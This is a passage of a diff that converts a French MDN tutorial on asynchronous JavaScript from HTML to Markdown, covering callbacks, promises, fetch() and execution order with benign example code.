DOM.</li> - <li>Nous lui ajoutons un écouteur d'événements <code><a href="/fr/docs/Web/API/Element/click_event">click</a></code> afin que lorsque le bouton est cliqué : - <ol> - <li>Un message <code><a href="/fr/docs/Web/API/Window/alert">alert()</a></code> apparaît.</li> - <li>Une fois l'alerte rejetée, nous créons un élément <a href="/fr/docs/Web/HTML/Element/p"><code><p></code></a>.</li> - <li>Nous lui donnons ensuite du contenu textuel.</li> - <li>Enfin, nous ajoutons le paragraphe au corps du document.</li> - </ol> - </li> -</ol> + 1. Un message [`alert()`](/fr/docs/Web/API/Window/alert) apparaît. + 2. Une fois l'alerte rejetée, nous créons un élément [`<p>`](/fr/docs/Web/HTML/Element/p). + 3. Nous lui donnons ensuite du contenu textuel. + 4. Enfin, nous ajoutons le paragraphe au corps du document. -<p>Pendant que chaque opération est en cours de traitement, rien d'autre ne peut se produire - le rendu est mis en pause. Cela est dû au fait que, comme nous l'avons dit dans l'<a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">article précédent</a>, <a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts#javascript_is_single_threaded">JavaScript est ne dispose que d'un seul <i>thread</i></a>. Une seule chose peut se produire à la fois, sur le <i>thread</i> principal, et tout le reste est bloqué jusqu'à la fin d'une opération.</p> +Pendant que chaque opération est en cours de traitement, rien d'autre ne peut se produire - le rendu est mis en pause. Cela est dû au fait que, comme nous l'avons dit dans l'[article précédent](/fr/docs/Learn/JavaScript/Asynchronous/Concepts), [JavaScript est ne dispose que d'un seul _thread_](/fr/docs/Learn/JavaScript/Asynchronous/Concepts#javascript_is_single_threaded). Une seule chose peut se produire à la fois, sur le _thread_ principal, et tout le reste est bloqué jusqu'à la fin d'une opération. -<p>Ainsi, dans l'exemple ci-dessus, après avoir cliqué sur le bouton, le paragraphe n'apparaîtra qu'après avoir appuyé sur le bouton OK dans la boîte d'alerte. Vous pouvez l'essayer vous-même :</p> +Ainsi, dans l'exemple ci-dessus, après avoir cliqué sur le bouton, le paragraphe n'apparaîtra qu'après avoir appuyé sur le bouton OK dans la boîte d'alerte. Vous pouvez l'essayer vous-même : -<pre class="brush: html hidden"><button>Cliquez sur moi</button></pre> +```html hidden +<button>Cliquez sur moi</button> +``` -<p>{{EmbedLiveSample('synchronous_javascript', '100%', '110px')}}</p> +{{EmbedLiveSample('synchronous_javascript', '100%', '110px')}} -<div class="note"> - <p><strong>Note :</strong> Il est important de se rappeler que <code><a href="/fr/docs/Web/API/Window/alert">alert()</a></code>, tout en étant très utile pour démontrer une opération de blocage synchrone, est horrible à utiliser dans des applications du monde réel.</p> -</div> +> **Note :** Il est important de se rappeler que [`alert()`](/fr/docs/Web/API/Window/alert), tout en étant très utile pour démontrer une opération de blocage synchrone, est horrible à utiliser dans des applications du monde réel. -<h2 id="asynchronous_javascript">JavaScript asynchrone</h2> +## JavaScript asynchrone -<p>Pour des raisons illustrées précédemment (par exemple, en rapport avec le blocage), de nombreuses fonctionnalités des API Web utilisent désormais du code asynchrone pour s'exécuter, en particulier celles qui accèdent à un type de ressource ou le récupèrent à partir d'un périphérique externe, par exemple en récupérant un fichier sur le réseau, en accédant à une base de données et en renvoyant des données, en accédant à un flux vidéo à partir d'une webcam ou en diffusant l'affichage vers un casque VR.</p> +Pour des raisons illustrées précédemment (par exemple, en rapport avec le blocage), de nombreuses fonctionnalités des API Web utilisent désormais du code asynchrone pour s'exécuter, en particulier celles qui accèdent à un type de ressource ou le récupèrent à partir d'un périphérique externe, par exemple en récupérant un fichier sur le réseau, en accédant à une base de données et en renvoyant des données, en accédant à un flux vidéo à partir d'une webcam ou en diffusant l'affichage vers un casque VR. -<p>Pourquoi est-il difficile de faire fonctionner un code synchrone ? Prenons un exemple rapide. Lorsque vous récupérez une image sur un serveur, vous ne pouvez pas renvoyer le résultat immédiatement. Cela signifie que l'exemple suivant (pseudocode) ne fonctionnerait pas :</p> +Pourquoi est-il difficile de faire fonctionner un code synchrone ? Prenons un exemple rapide. Lorsque vous récupérez une image sur un serveur, vous ne pouvez pas renvoyer le résultat immédiatement. Cela signifie que l'exemple suivant (pseudocode) ne fonctionnerait pas : -<pre class="brush: js">let response = fetch('myImage.png'); // la récupération est asynchrone +```js +let response = fetch('myImage.png'); // la récupération est asynchrone let blob = response.blob(); -// afficher votre blob d'image à l'écran d'une manière ou d'une autre</pre> +// afficher votre blob d'image à l'écran d'une manière ou d'une autre +``` -<p>C'est parce que vous ne savez pas combien de temps l'image prendra pour être téléchargée, donc lorsque vous viendrez à exécuter la deuxième ligne, elle lancera une erreur (éventuellement par intermittence, éventuellement à chaque fois) parce que la réponse <code>response</code> n'est pas encore disponible. Au lieu de cela, vous avez besoin que votre code attende que la réponse <code>response</code> soit retournée avant d'essayer de lui faire quoi que ce soit d'autre.</p> +C'est parce que vous ne savez pas combien de temps l'image prendra pour être téléchargée, donc lorsque vous viendrez à exécuter la deuxième ligne, elle lancera une erreur (éventuellement par intermittence, éventuellement à chaque fois) parce que la réponse `response` n'est pas encore disponible. Au lieu de cela, vous avez besoin que votre code attende que la réponse `response` soit retournée avant d'essayer de lui faire quoi que ce soit d'autre. -<p>Il existe deux principaux types de code asynchrone que vous rencontrerez dans le code JavaScript : les anciens rappels et le code plus récent de type promesse. Dans les sections suivantes, nous allons examiner chacun d'eux à tour de rôle.</p> +Il existe deux principaux types de code asynchrone que vous rencontrerez dans le code JavaScript : les anciens rappels et le code plus récent de type promesse. Dans les sections suivantes, nous allons examiner chacun d'eux à tour de rôle. -<h2 id="async_callbacks">Fonctions de rappel asynchrones</h2> +## Fonctions de rappel asynchrones -<p>Les <i>callbacks</i> asynchrones ou fonctions de rappels asynchrones sont des fonctions qui sont passées comme arguments lors de l'appel d'une fonction qui commencera à exécuter du code en arrière-plan. Lorsque le code d'arrière-plan a fini de s'exécuter, il appelle la fonction de rappel pour vous faire savoir que le travail est terminé, ou pour vous faire savoir que quelque chose d'intéressant s'est produit. L'utilisation des <i>callbacks</i> est un peu démodée aujourd'hui, mais vous les verrez encore dans un certain nombre d'API plus anciennes encore couramment utilisées.</p> +Les _callbacks_ asynchrones ou fonctions de rappels asynchrones sont des fonctions qui sont passées comme arguments lors de l'appel d'une fonction qui commencera à exécuter du code en arrière-plan. Lorsque le code d'arrière-plan a fini de s'exécuter, il appelle la fonction de rappel pour vous faire savoir que le travail est terminé, ou pour vous faire savoir que quelque chose d'intéressant s'est produit. L'utilisation des _callbacks_ est un peu démodée aujourd'hui, mais vous les verrez encore dans un certain nombre d'API plus anciennes encore couramment utilisées. -<p>Un exemple de rappel asynchrone est le deuxième paramètre de la méthode <a href="/fr/docs/Web/API/EventTarget/addEventListener"><code>addEventListener()</code></a> (comme nous pouvons le voir en action ci-dessous) :</p> +Un exemple de rappel asynchrone est le deuxième paramètre de la méthode [`addEventListener()`](/fr/docs/Web/API/EventTarget/addEventListener) (comme nous pouvons le voir en action ci-dessous) : -<pre class="brush: js">btn.addEventListener('click', () => { +```js +btn.addEventListener('click', () => { alert(`Vous avez cliqué sur moi !`); let pElem = document.createElement('p'); pElem.textContent = `Il s'agit d'un paragraphe nouvellement ajouté.`; document.body.appendChild(pElem); -});</pre> +}); +``` -<p>Le premier paramètre est le type d'événement à écouter, et le deuxième paramètre est une fonction de rappel qui est invoquée lorsque l'événement est déclenché.</p> +Le premier paramètre est le type d'événement à écouter, et le deuxième paramètre est une fonction de rappel qui est invoquée lorsque l'événement est déclenché. -<p>Lorsque nous passons une fonction de rappel comme argument à une autre fonction, nous ne passons que la référence de la fonction comme argument, c'est-à-dire que la fonction de rappel n'est <strong>pas</strong> exécutée immédiatement. Elle est « rappelée » (d'où son nom) de manière asynchrone quelque part dans le corps de la fonction contenante. La fonction contenante est responsable de l'exécution de la fonction de rappel le moment venu.</p> +Lorsque nous passons une fonction de rappel comme argument à une autre fonction, nous ne passons que la référence de la fonction comme argument, c'est-à-dire que la fonction de rappel n'est **pas** exécutée immédiatement. Elle est « rappelée » (d'où son nom) de manière asynchrone quelque part dans le corps de la fonction contenante. La fonction contenante est responsable de l'exécution de la fonction de rappel le moment venu. -<p>Vous pouvez écrire votre propre fonction contenant un <i>callback</i> assez facilement. Examinons un autre exemple qui charge une ressource via l'API <a href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">exécutez-le code en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">voir sa source</a>) :</p> +Vous pouvez écrire votre propre fonction contenant un _callback_ assez facilement. Examinons un autre exemple qui charge une ressource via l'API [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) ([exécutez-le code en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html), et [voir sa source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html)) : -<pre class="brush: js">function loadAsset(url, type, callback) { +```js +function loadAsset(url, type, callback) { let xhr = new XMLHttpRequest(); xhr.open('GET', url); xhr.responseType = type; @@ -130,157 +136,152 @@ function displayImage(blob) { document.body.appendChild(image); } -loadAsset('coffee.jpg', 'blob', displayImage);</pre> +loadAsset('coffee.jpg', 'blob', displayImage); +``` -<p>Ici, nous créons une fonction <code>displayImage()</code> qui représente un blob qui lui est passé sous forme d'URL d'objet, puis crée une image dans laquelle afficher l'URL, en l'annexant au <code><body></code> du document. Cependant, nous créons ensuite une fonction <code>loadAsset()</code> qui prend une fonction de rappel en paramètre, ainsi qu'une URL à récupérer et un type de contenu. Elle utilise <code>XMLHttpRequest</code> (souvent abrégé en "XHR") pour récupérer la ressource à l'URL donnée, puis passe la réponse à la fonction de rappel pour qu'elle fasse quelque chose avec. Dans ce cas, le callback attend que l'appel XHR termine le téléchargement de la ressource (en utilisant l'écouteur d'événement <code><a href="/fr/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) avant de la transmettre au <i>callback</i>.</p> +Ici, nous créons une fonction `displayImage()` qui représente un blob qui lui est passé sous forme d'URL d'objet, puis crée une image dans laquelle afficher l'URL, en l'annexant au `<body>` du document. Cependant, nous créons ensuite une fonction `loadAsset()` qui prend une fonction de rappel en paramètre, ainsi qu'une URL à récupérer et un type de contenu. Elle utilise `XMLHttpRequest` (souvent abrégé en "XHR") pour récupérer la ressource à l'URL donnée, puis passe la réponse à la fonction de rappel pour qu'elle fasse quelque chose avec. Dans ce cas, le callback attend que l'appel XHR termine le téléchargement de la ressource (en utilisant l'écouteur d'événement [`onload`](/fr/docs/Web/API/XMLHttpRequestEventTarget/onload)) avant de la transmettre au _callback_. -<p>Les fonctions de rappel sont polyvalentes - non seulement elles permettent de contrôler l'ordre dans lequel les fonctions sont exécutées et quelles données sont transmises entre elles, mais elles permettent également de transmettre des données à différentes fonctions en fonction des circonstances. Ainsi, vous pourriez avoir différentes actions à exécuter sur la réponse téléchargée, comme <code>processingJSON()</code>, <code>displayText()</code>, etc.</p> +Les fonctions de rappel sont polyvalentes - non seulement elles permettent de contrôler l'ordre dans lequel les fonctions sont exécutées et quelles données sont transmises entre elles, mais elles permettent également de transmettre des données à différentes fonctions en fonction des circonstances. Ainsi, vous pourriez avoir différentes actions à exécuter sur la réponse téléchargée, comme `processingJSON()`, `displayText()`, etc. -<p>Notez que tous les <i>callbacks</i> ne sont pas asynchrones - certains s'exécutent de manière synchrone. Par exemple, lorsque nous utilisons <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>Array.prototype.forEach()</code></a> pour parcourir en boucle les éléments d'un tableau (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/foreach.html">voir en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/foreach.html">la source</a>) :</p> +Notez que tous les _callbacks_ ne sont pas asynchrones - certains s'exécutent de manière synchrone. Par exemple, lorsque nous utilisons [`Array.prototype.forEach()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach) pour parcourir en boucle les éléments d'un tableau ([voir en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/foreach.html), et [la source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/foreach.html)) : -<pre class="brush: js">const gods = ['Apollon', 'Artémis', 'Arès', 'Zeus']; +```js +const gods = ['Apollon', 'Artémis', 'Arès', 'Zeus']; gods.forEach(function (eachName, index){ console.log(`${index}. ${eachName}`); -});</pre> +}); +``` -<p>Dans cet exemple, nous parcourons en boucle un tableau de dieux grecs et nous imprimons les numéros d'index et les valeurs sur la console. Le paramètre attendu de <code>forEach()</code> est une fonction de rappel, qui prend elle-même deux paramètres, une référence au nom du tableau et aux valeurs d'index. Cependant, elle n'attend rien - elle s'exécute immédiatement.</p> +Dans cet exemple, nous parcourons en boucle un tableau de dieux grecs et nous imprimons les numéros d'index et les valeurs sur la console. Le paramètre attendu de `forEach()` est une fonction de rappel, qui prend elle-même deux paramètres, une référence au nom du tableau et aux valeurs d'index. Cependant, elle n'attend rien - elle s'exécute immédiatement. -<h2 id="promises">Promesses</h2> +## Promesses -<p>Les promesses sont le nouveau style de code asynchrone que vous verrez utilisé dans les API Web modernes. Un bon exemple est l'API <code><a href="/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code>, qui est en fait comme une version moderne et plus efficace de <a href="/fr/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a>. Voyons un exemple rapide, tiré de notre article <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a> :</p> +Les promesses sont le nouveau style de code asynchrone que vous verrez utilisé dans les API Web modernes. Un bon exemple est l'API [`fetch()`](/fr/docs/Web/API/WindowOrWorkerGlobalScope/fetch), qui est en fait comme une version moderne et plus efficace de [`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest). Voyons un exemple rapide, tiré de notre article [Fetching data from the server](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data) : -<pre class="brush: js">fetch('products.json').then(function(response) { +```js +fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { let products = json; initialize(products); }).catch(function(err) { console.log('Problème de récupération : ' + err.message); -});</pre> +}); +``` -<div class="note"> - <p><strong>Note :</strong> Vous pouvez trouver la version finale sur GitHub (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js">voir la source ici</a>, et aussi <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">voir le fonctionnement en direct</a>).</p> -</div> +> **Note :** Vous pouvez trouver la version finale sur GitHub ([voir la source ici](https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js), et aussi [voir le fonctionnement en direct](https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/)). -<p>Nous voyons ici <code>fetch()</code> prendre un seul paramètre - l'URL d'une ressource que vous souhaitez récupérer sur le réseau - et renvoyer une <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise">promesse</a>. La promesse est un objet représentant l'achèvement ou l'échec de l'opération asynchrone. Elle représente un état intermédiaire, en quelque sorte. En substance, c'est la façon dont le navigateur dit « Je promets de vous donner la réponse dès que possible », d'où le nom de « promesse ».</p> +Nous voyons ici `fetch()` prendre un seul paramètre - l'URL d'une ressource que vous souhaitez récupérer sur le réseau - et renvoyer une [promesse](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise). La promesse est un objet représentant l'achèvement ou l'échec de l'opération asynchrone. Elle représente un état intermédiaire, en quelque sorte. En substance, c'est la façon dont le navigateur dit « Je promets de vous donner la réponse dès que possible », d'où le nom de « promesse ». -<p>Il faut parfois s'habituer à ce concept, qui ressemble un peu au <a href="https://fr.wikipedia.org/wiki/Chat_de_Schrödinger">Chat de Schrödinger</a> en action. Aucun des résultats possibles ne s'est encore produit, donc l'opération de récupération est actuellement en attente du résultat du navigateur qui tente de terminer l'opération à un moment donné dans le futur. Nous avons ensuite trois autres blocs de code enchaînés à la fin de <code>fetch()</code> :</p> +Il faut parfois s'habituer à ce concept, qui ressemble un peu au [Chat de Schrödinger](https://fr.wikipedia.org/wiki/Chat_de_Schrödinger) en action. Aucun des résultats possibles ne s'est encore produit, donc l'opération de récupération est actuellement en attente du résultat du navigateur qui tente de terminer l'opération à un moment donné dans le futur. Nous avons ensuite trois autres blocs de code enchaînés à la fin de `fetch()` : -<ul> - <li>Deux blocs <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code>. Ils contiennent tous deux une fonction de rappel qui s'exécutera si l'opération précédente est réussie, et chaque fonction de rappel reçoit en entrée le résultat de l'opération précédente réussie, afin que vous puissiez poursuivre et y faire autre chose. Chaque bloc <code>.then()</code> renvoie une autre promesse, ce qui signifie que vous pouvez enchaîner plusieurs blocs <code>.then()</code> les uns sur les autres, de sorte que plusieurs opérations asynchrones peuvent être exécutées dans l'ordre, les unes après les autres.</li> - <li>Le bloc <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch">catch()</a></code> à la fin s'exécute si l'un des blocs <code>.then()</code> échoue - de manière similaire aux blocs synchrones <code><a href="/fr/docs/Web/JavaScript/Reference/Statements/try...catch" >try...catch</a></code>, un objet d'erreur est mis à disposition à l'intérieur du <code>catch()</code>, qui peut être utilisé pour signaler le type d'erreur qui s'est produit. Notez cependant que le <code>try...catch</code> synchrone ne fonctionnera pas avec les promesses, bien qu'il fonctionne avec <a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">async/await</a>, comme vous l'apprendrez plus tard.</li> -</ul> +- Deux blocs [`then()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/then). Ils contiennent tous deux une fonction de rappel qui s'exécutera si l'opération précédente est réussie, et chaque fonction de rappel reçoit en entrée le résultat de l'opération précédente réussie, afin que vous puissiez poursuivre et y faire autre chose. Chaque bloc `.then()` renvoie une autre promesse, ce qui signifie que vous pouvez enchaîner plusieurs blocs `.then()` les uns sur les autres, de sorte que plusieurs opérations asynchrones peuvent être exécutées dans l'ordre, les unes après les autres. +- Le bloc [`catch()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch) à la fin s'exécute si l'un des blocs `.then()` échoue - de manière similaire aux blocs synchrones [`try...catch`](/fr/docs/Web/JavaScript/Reference/Statements/try...catch), un objet d'erreur est mis à disposition à l'intérieur du `catch()`, qui peut être utilisé pour signaler le type d'erreur qui s'est produit. Notez cependant que le `try...catch` synchrone ne fonctionnera pas avec les promesses, bien qu'il fonctionne avec [async/await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await), comme vous l'apprendrez plus tard. -<div class="note"> - <p><strong>Note :</strong> Vous en apprendrez beaucoup plus sur les promesses plus tard dans le module, alors ne vous inquiétez pas si vous ne les comprenez pas encore complètement.</p> -</div> +> **Note :** Vous en apprendrez beaucoup plus sur les promesses plus tard dans le module, alors ne vous inquiétez pas si vous ne les comprenez pas encore complètement. -<h3 id="the_event_queue">La file d'attente des événements</h3> +### La file d'attente des événements -<p>Les opérations asynchrones comme les promesses sont placées dans une <strong>file d'attente d'événements</strong>, qui s'exécute après que le processus principal a terminé son traitement afin qu'elles <em>ne bloquent pas</em> l'exécution du code JavaScript suivant. Les opérations mises en file d'attente se terminent dès que possible puis renvoient leurs résultats à l'environnement JavaScript.</p> +Les opérations asynchrones comme les promesses sont placées dans une **file d'attente d'événements**, qui s'exécute après que le processus principal a terminé son traitement afin qu'elles _ne bloquent pas_ l'exécution du code JavaScript suivant. Les opérations mises en file d'attente se terminent dès que possible puis renvoient leurs résultats à l'environnement JavaScript. -<h3 id="promises_versus_callbacks">Promesses contre callbacks</h3> +### Promesses contre callbacks -<p>Les promesses présentent certaines similitudes avec les anciennes fonctions de rappel. Il s'agit essentiellement d'un objet retourné auquel vous attachez des fonctions de rappel, plutôt que de devoir passer des <i>callbacks</i> dans une fonction.</p> +Les promesses présentent certaines similitudes avec les anciennes fonctions de rappel. Il s'agit essentiellement d'un objet retourné auquel vous attachez des fonctions de rappel, plutôt que de devoir passer des _callbacks_ dans une fonction. -<p>Cependant, les promesses sont spécifiquement conçues pour gérer les opérations asynchrones et présentent de nombreux avantages par rapport aux fonctions de rappel classiques :</p> +Cependant, les promesses sont spécifiquement conçues pour gérer les opérations asynchrones et présentent de nombreux avantages par rapport aux fonctions de rappel classiques : -<ul> - <li>Vous pouvez enchaîner plusieurs opérations asynchrones en utilisant plusieurs opérations <code>.then()</code>, en passant le résultat de l'une dans la suivante comme entrée. Ceci est beaucoup plus difficile à faire avec les fonctions de rappel, ce qui aboutit souvent à une « pyramide de malheur » désordonnée (également connue sous le nom de <a href="http://callbackhell.com/">callback hell</a>).</li> - <li>Les fonctions de rappel passées aux promesses sont toujours appelées dans l'ordre strict où ils sont placés dans la file d'attente des événements.</li> - <li>La gestion des erreurs est bien meilleure - toutes les erreurs sont traitées par un seul bloc <code>.catch()</code> à la fin du bloc, plutôt que d'être traitées individuellement à chaque niveau de la « pyramide ».</li> - <li>Les promesses évitent l'inversion de contrôle, contrairement aux callbacks à l'ancienne, qui perdent le contrôle total de la façon dont la fonction sera exécutée lorsqu'ils sont transmis à une bibliothèque tierce.</li> -</ul> +- Vous pouvez enchaîner plusieurs opérations asynchrones en utilisant plusieurs opérations `.then()`, en passant le résultat de l'une dans la suivante comme entrée. Ceci est beaucoup plus difficile à faire avec les fonctions de rappel, ce qui aboutit souvent à une « pyramide de malheur » désordonnée (également connue sous le nom de [callback hell](http://callbackhell.com/)). +- Les fonctions de rappel passées aux promesses sont toujours appelées dans l'ordre strict où ils sont placés dans la file d'attente des événements. +- La gestion des erreurs est bien meilleure - toutes les erreurs sont traitées par un seul bloc `.catch()` à la fin du bloc, plutôt que d'être traitées individuellement à chaque niveau de la « pyramide ». +- Les promesses évitent l'inversion de contrôle, contrairement aux callbacks à l'ancienne, qui perdent le contrôle total de la façon dont la fonction sera exécutée lorsqu'ils sont transmis à une bibliothèque tierce. -<h2 id="the_nature_of_asynchronous_code">La nature du code asynchrone</h2> +## La nature du code asynchrone -<p>Explorons un exemple qui illustre davantage la nature du code asynchrone, en montrant ce qui peut se produire lorsque nous ne sommes pas pleinement conscients de l'ordre d'exécution du code et les problèmes liés à la tentative de traiter le code asynchrone comme du code synchrone. L'exemple suivant est assez similaire à ce que nous avons vu auparavant (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync.html">voir en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">la source</a>). Une différence est que nous avons inclus un certain nombre d'instructions <a href="/fr/docs/Web/API/Console/log"><code>console.log()</code></a> pour illustrer un ordre dans lequel on pourrait penser que le code s'exécute.</p> +Explorons un exemple qui illustre davantage la nature du code asynchrone, en montrant ce qui peut se produire lorsque nous ne sommes pas pleinement conscients de l'ordre d'exécution du code et les problèmes liés à la tentative de traiter le code asynchrone comme du code synchrone. L'exemple suivant est assez similaire à ce que nous avons vu auparavant ([voir en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync.html), et [la source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html)). Une différence est que nous avons inclus un certain nombre d'instructions [`console.log()`](/fr/docs/Web/API/Console/log) pour illustrer un ordre dans lequel on pourrait penser que le code s'exécute. -<pre class="brush: js">console.log(`Démarrage`); +```js +console.log(`Démarrage`); let image; -fetch('coffee.jpg').then((response) => { +fetch('coffee.jpg').then((response) => { console.log(`Ça a fonctionné :)`) return response.blob(); -}).then((myBlob) => { +}).then((myBlob) => { let objectURL = URL.createObjectURL(myBlob); image = document.createElement('img'); image.src = objectURL; document.body.appendChild(image); -}).catch((error) => { +}).catch((error) => { console.log(`Il y a eu un problème avec votre opération de récupération : ${error.message}`); }); -console.log(`C'est fait !`);</pre> +console.log(`C'est fait !`); +``` -<p>Le navigateur va commencer à exécuter le code, voir la première instruction <code>console.log()</code> (<code>Démarrage</code>) et l'exécuter, puis créer la variable <code>image</code>.</p> +Le navigateur va commencer à exécuter le code, voir la première instruction `console.log()` (`Démarrage`) et l'exécuter, puis créer la variable `image`. -<p>Il passera ensuite à la ligne suivante et commencera à exécuter le bloc <code>fetch()</code> mais, comme <code>fetch()</code> s'exécute de manière asynchrone sans blocage, l'exécution du code se poursuit après le code lié à la promesse, atteignant ainsi l'instruction finale <code>console.log()</code> (<code>C'est fait !</code>) et la sortant sur la console.</p> +Il passera ensuite à la ligne suivante et commencera à exécuter le bloc `fetch()` mais, comme `fetch()` s'exécute de manière asynchrone sans blocage, l'exécution du code se poursuit après le code lié à la promesse, atteignant ainsi l'instruction finale `console.log()` (`C'est fait !`) et la sortant sur la console. -<p>Ce n'est qu'une fois que le bloc <code>fetch()</code> a complètement fini de s'exécuter et de délivrer son résultat à travers les blocs <code>.then()</code> que nous verrons enfin apparaître le deuxième message <code>console.log()</code> (<code>Ça a fonctionné :)</code>). Les messages sont donc apparus dans un ordre différent de celui auquel on pourrait s'attendre :</p> +Ce n'est qu'une fois que le bloc `fetch()` a complètement fini de s'exécuter et de délivrer son résultat à travers les blocs `.then()` que nous verrons enfin apparaître le deuxième message `console.log()` (`Ça a fonctionné :)`). Les messages sont donc apparus dans un ordre différent de celui auquel on pourrait s'attendre : -<ul> - <li>Démarrage</li> - <li>C'est fait !</li> - <li>Ça a fonctionné :)</li> -</ul> +- Démarrage +- C'est fait ! +- Ça a fonctionné :) -<p>Si cela vous déconcerte, considérez le petit exemple suivant :</p> +Si cela vous déconcerte, considérez le petit exemple suivant : -<pre class="brush: js">console.log(`Enregistrement de l'événement de clics`); +```js +console.log(`Enregistrement de l'événement de clics`); -button.addEventListener('click', () => { +button.addEventListener('click', () => { console.log(`Obtenir un clic`); }); -console.log(`Tout est bon !`);</pre> +console.log(`Tout est bon !`); +``` -<p>Le comportement est très similaire - les premier et troisième messages <code>console.log()</code> s'affichent immédiatement, mais le deuxième est bloqué jusqu'à ce que quelqu'un clique sur le bouton de la souris. L'exemple précédent fonctionne de la même manière, sauf que dans ce cas, le deuxième message est bloqué sur la chaîne de promesses allant chercher une ressource puis l'affichant à l'écran, plutôt que sur un clic.</p> +Le comportement est très similaire - les premier et troisième messages `console.log()` s'affichent immédiatement, mais le deuxième est bloqué jusqu'à ce que quelqu'un clique sur le bouton de la souris. L'exemple précédent fonctionne de la même manière, sauf que dans ce cas, le deuxième message est bloqué sur la chaîne de promesses allant chercher une ressource puis l'affichant à l'écran, plutôt que sur un clic. -<p>Dans un exemple de code moins trivial, ce type de configuration pourrait poser un problème - vous ne pouvez pas inclure un bloc de code asynchrone qui renvoie un résultat, sur lequel vous vous appuyez ensuite dans un bloc de code synchrone. Vous ne pouvez tout simplement pas garantir que la fonction asynchrone retournera avant que le navigateur ait traité le bloc de synchronisation.</p> +Dans un exemple de code moins trivial, ce type de configuration pourrait poser un problème - vous ne pouvez pas inclure un bloc de code asynchrone qui renvoie un résultat, sur lequel vous vous appuyez ensuite dans un bloc de code synchrone. Vous ne pouvez tout simplement pas garantir que la fonction asynchrone retournera avant que le navigateur ait traité le bloc de synchronisation. -<p>Pour voir cela en action, essayez de prendre une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">notre exemple</a>, et changez le quatrième appel <code>console.log()</code> par le suivant :</p> +Pour voir cela en action, essayez de prendre une copie locale de [notre exemple](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html), et changez le quatrième appel `console.log()` par le suivant : -<pre class="brush: js">console.log (`Tout est bon ! ${image.src} est affiché.`);</pre> +```js +console.log (`Tout est bon ! ${image.src} est affiché.`); +``` -<p>Vous devriez maintenant obtenir une erreur dans votre console au lieu du troisième message :</p> +Vous devriez maintenant obtenir une erreur dans votre console au lieu du troisième message : -<pre>TypeError: image is undefined; can't access its "src" property</pre> + TypeError: image is undefined; can't access its "src" property -<p>Cela est dû au fait qu'au moment où le navigateur tente d'exécuter la troisième instruction <code>console.log()</code>, le bloc <code>fetch()</code> n'a pas fini de s'exécuter, de sorte que la variable <code>image</code> n'a pas reçu de valeur.</p> +Cela est dû au fait qu'au moment où le navigateur tente d'exécuter la troisième instruction `console.log()`, le bloc `fetch()` n'a pas fini de s'exécuter, de sorte que la variable `image` n'a pas reçu de valeur. -<div class="note"> - <p><strong>Note :</strong> Pour des raisons de sécurité, vous ne pouvez pas <code>fetch()</code> les fichiers de votre système de fichiers local (ou exécuter d'autres opérations de ce type localement) ; pour exécuter l'exemple ci-dessus localement, vous devrez le faire passer par un <a href="/fr/docs/Learn/Common_questions/set_up_a_local_testing_server">serveur web local</a>.</p> -</div> +> **Note :** Pour des raisons de sécurité, vous ne pouvez pas `fetch()` les fichiers de votre système de fichiers local (ou exécuter d'autres opérations de ce type localement) ; pour exécuter l'exemple ci-dessus localement, vous devrez le faire passer par un [serveur web local](/fr/docs/Learn/Common_questions/set_up_a_local_testing_server). -<h2 id="active_learning_make_it_all_async!">Apprentissage actif : rendez tout asynchrone !</h2> +## Apprentissage actif : rendez tout asynchrone ! -<p>Pour corriger l'exemple problématique de <code>fetch()</code> et faire en sorte que les trois déclarations <code>console.log()</code> apparaissent dans l'ordre souhaité, vous pourriez faire en sorte que la troisième déclaration <code>console.log()</code> s'exécute également de manière asynchrone. Cela peut être fait en la déplaçant à l'intérieur d'un autre bloc <code>.then()</code> enchaîné à la fin du deuxième, ou en la déplaçant à l'intérieur du deuxième bloc <code>then()</code>. Essayez de corriger cela maintenant.</p> +Pour corriger l'exemple problématique de `fetch()` et faire en sorte que les trois déclarations `console.log()` apparaissent dans l'ordre souhaité, vous pourriez faire en sorte 